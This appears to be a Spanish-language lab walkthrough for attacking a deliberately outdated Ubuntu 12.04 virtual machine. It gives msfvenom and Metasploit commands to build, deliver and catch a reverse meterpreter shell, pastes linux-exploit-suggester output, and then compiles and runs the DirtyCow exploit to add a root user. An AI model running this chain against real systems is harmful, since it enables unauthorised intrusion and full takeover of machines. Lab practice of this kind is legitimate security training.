Kernel Conf Exploit

Configuracion de ubuntu server para hacerlo vulnerable

OVA Ubuntu Configurado para explotar kernel

URL OVA Ubuntu 12.04 = https://drive.google.com/file/d/14P2ni0NgInscdBcKnKvWQSXQ36MqcjHq/view?usp=sharing

Credentials OVA = diseo:diseo

Si preferis coger la ISO directamente aqui esta la pagina.

URL ISO's = https://old-releases.ubuntu.com/releases/12.04/

Configuracion basica de actualizacion de ubuntu server

Lo primero es cambiar algunas configuraciones y activaremos temporalmente el ssh para poder trabajar con una shell mejor.

Configuraremos los paquetes de actualizaciones, para que se actualice todo mejor y no este todo tan desactualizado.

sudo nano /etc/apt/sources.list

Dentro de este archivo, comentaremos todas las lineas que esten descomentadas con un # y al final de la linea añadiremos lo siguiente.

deb http://old-releases.ubuntu.com/ubuntu/ precise main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ precise-security main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ precise-backports main restricted universe multiverse

Lo guardaremos y pondremos lo siguiente, para que se actualice bien.

sudo apt-get update

Una vez actualizado podremos activar el ssh de la siguiente forma.

sudo apt-get install openssh-server

Y por si acaso no estuviera iniciado.

sudo service ssh start

Obtencion de shell (Easy)

Lo primero que haremos sera crear un .elf con msfvenom para pasarselo a la maquina victima y asi tener una shell.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf

Ahora abriremos un servidor de python3 y lo pasaremos a la maquina victima.

python3 -m http.server 80

Dentro de la maquina victima hacemos lo siguiente.

wget http://<IP>/shell.elf

Y ahora pasaremos a configurar en metasploit la escucha.

msfconsole -q
use multi/handler

Configguramos el exploit para que este a la escucha en nuestra IP y Puerto.

set payload linux/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>

Ejecutamos la escucha.

run

Una vez hecho esto, ejecutaremos en la maquina victima el archivo shell.elf de la siguiente forma.

./shell.elf

Y si nos vamos a donde tenemos la escucha en metasploit, veremos una shell con el usuario que lo haya ejecutado.

Explotar kernel Ubuntu 12.04

Primero veremos que version de kernel tiene la maquina victima de la siguiente forma.

uname -a

Info:

Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

Vemos que el kernel es 3.2.0-23-generic, por lo que veremos si tiene alguna vulnerabilidad de la siguiente forma.

URL GitHub = https://github.com/The-Z-Labs/linux-exploit-suggester

Clonamos el repositorio a nuestro host.

git clone https://github.com/The-Z-Labs/linux-exploit-suggester.git
cd linux-exploit-suggester

Cambiamos el nombre al script .sh.

mv linux-exploit-suggester.sh les.sh

Y ahora nos vamos a nuestro meterpreter.

cd /tmp/
upload /linux-exploit-suggester/les.sh

Info:

[*] Uploading  : /home/dise0/Desktop/linux-exploit-suggester/les.sh -> les.sh
[*] Uploaded -1.00 B of 88.73 KiB (-0.0%): /home/dise0/Desktop/linux-exploit-suggester/les.sh -> les.sh
[*] Completed  : /home/dise0/Desktop/linux-exploit-suggester/les.sh -> les.sh

Una vez que nos hayamos pasado el archivo a la maquina victima, lo ejecutaremos.

shell
/bin/bash -i
chmod +x les.sh
./les.sh

Info:

Available information:

Kernel version: 3.2.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 12.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

81 kernel space exploits
49 user space exploits

Possible Exploits:

cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2013-2094] perf_swevent

   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Exposure: highly probable
   Tags: RHEL=6,[ ubuntu=12.04{kernel:3.2.0-(23|29)-generic} ],fedora=16{kernel:3.1.0-7.fc16.x86_64},fedora=17{kernel:3.3.4-5.fc17.x86_64},debian=7{kernel:3.2.0-4-amd64}
   Download URL: https://www.exploit-db.com/download/26131
   Comments: No SMEP/SMAP bypass

[+] [CVE-2013-2094] perf_swevent 2

   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Exposure: highly probable
   Tags: [ ubuntu=12.04{kernel:3.(2|5).0-(23|29)-generic} ]
   Download URL: https://cyseclabs.com/exploits/vnik_v1.c
   Comments: No SMEP/SMAP bypass

[+] [CVE-2015-3202] fuse (fusermount)

   Details: http://seclists.org/oss-sec/2015/q2/520
   Exposure: probable
   Tags: debian=7.0|8.0,[ ubuntu=* ]
   Download URL: https://www.exploit-db.com/download/37089
   Comments: Needs cron or system admin interaction

[+] [CVE-2014-4699] ptrace/sysret

   Details: http://www.openwall.com/lists/oss-security/2014/07/08/16
   Exposure: probable
   Tags: [ ubuntu=12.04 ]
   Download URL: https://www.exploit-db.com/download/34134

[+] [CVE-2014-4014] inode_capable

   Details: http://www.openwall.com/lists/oss-security/2014/06/10/4
   Exposure: probable
   Tags: [ ubuntu=12.04 ]
   Download URL: https://www.exploit-db.com/download/33824

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

   Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
   Exposure: less probable
   Download URL: 
   Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2018-1000001] RationalLove

   Details: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
   Exposure: less probable
   Tags: debian=9{libc6:2.24-11+deb9u1},ubuntu=16.04.3{libc6:2.23-0ubuntu9}
   Download URL: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c
   Comments: kernel.unprivileged_userns_clone=1 required

[+] [CVE-2017-7308] af_packet

   Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
   Exposure: less probable
   Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
   Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-6074] dccp

   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
   Exposure: less probable
   Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}
   Download URL: https://www.exploit-db.com/download/41458
   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64

   Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
   Exposure: less probable
   Tags: debian=7.7|8.5|9.0,ubuntu=14.04.2|16.04.2|17.04,fedora=22|25,centos=7.3.1611
   Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap_64.c
   Comments: Uses "Stack Clash" technique, works against most SUID-root binaries

[+] [CVE-2017-1000253] PIE_stack_corruption

   Details: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt
   Exposure: less probable
   Tags: RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1}
   Download URL: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c

[+] [CVE-2016-2384] usb-midi

   Details: https://xairy.github.io/blog/2016/cve-2016-2384
   Exposure: less probable
   Tags: ubuntu=14.04,fedora=22
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
   Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2015-9322] BadIRET

   Details: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
   Exposure: less probable
   Tags: RHEL<=7,fedora=20
   Download URL: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
   Exposure: less probable
   Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic}
   Download URL: https://www.exploit-db.com/download/39166

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/39230

[+] [CVE-2014-5207] fuse_suid

   Details: https://www.exploit-db.com/exploits/34923/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/34923

[+] [CVE-2014-0196] rawmodePTY

   Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/33516

[+] [CVE-2013-2094] semtex

   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Exposure: less probable
   Tags: RHEL=6
   Download URL: https://www.exploit-db.com/download/25444

[+] [CVE-2013-1959] userns_root_sploit

   Details: http://www.openwall.com/lists/oss-security/2013/04/29/1
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/25450

[+] [CVE-2013-0268] msr

   Details: https://www.exploit-db.com/exploits/27297/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/27297

[+] [CVE-2012-0809] death_star (sudo)

   Details: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
   Exposure: less probable
   Tags: fedora=16
   Download URL: https://www.exploit-db.com/download/18436

Esto nos dara una lista a parte de informacion de las diferentes vulnerabilidades que tiene el kernel actual, por lo que elegiremos una de ellas, en mi caso.

URL = https://www.exploit-db.com/exploits/40839

Download = https://www.exploit-db.com/download/40839

Una vez que nos lo hayamos descargado en nuestro host, nos lo pasaremos a la maquina victima.

Ctrl+z
y+ENTER

Y volveremos a nuestra shell de meterpreter para subir el archivo.

upload /Downloads/40839.c

Info:

[*] Uploading  : /Downloads/40839.c -> 40839.c
[*] Uploaded -1.00 B of 4.89 KiB (-0.02%): /Downloads/40839.c -> 40839.c
[*] Completed  : /Downloads/40839.c -> 40839.c

Ahora volveremos a la shell normal haciendo lo siguiente.

shell
/bin/bash -i

Ahora cambiaremos el nombre al archivo.

mv 40839.c dirty.c

Y despues lo compilaremos de la siguiente forma.

gcc -pthread dirty.c -o dirty -lcrypt

Y ahora lo ejecutaremos poniendo seguidamente la contarseña que queremos que se cree para el usuario con privilegios de root.

./dirty <NEW_PASS>

Info:

/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash

mmap: 7fe680afd000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
diseo@ubuntu:/tmp$ /etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash

mmap: 7fe680afd000
madvise 0

Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

Y una vez ejecutado, si vemos el archivo passwd podremos ver que hay un usuario llamado firefart que tiene la bash de root por lo que cambiaremos a ese usuario con la contraseña que le metimos.

(Igualmente nos dice que el usuario es firefart y la password la que hayamos puesto en mi caso 1234)

ssh firefart@<IP>

Y una vez metida la contraseña entraremos como ese usuario root, si hacemos id veremos lo siguiente.

id

Info:

uid=0(firefart) gid=0(root) groups=0(root)

Por lo que vemos somos root.

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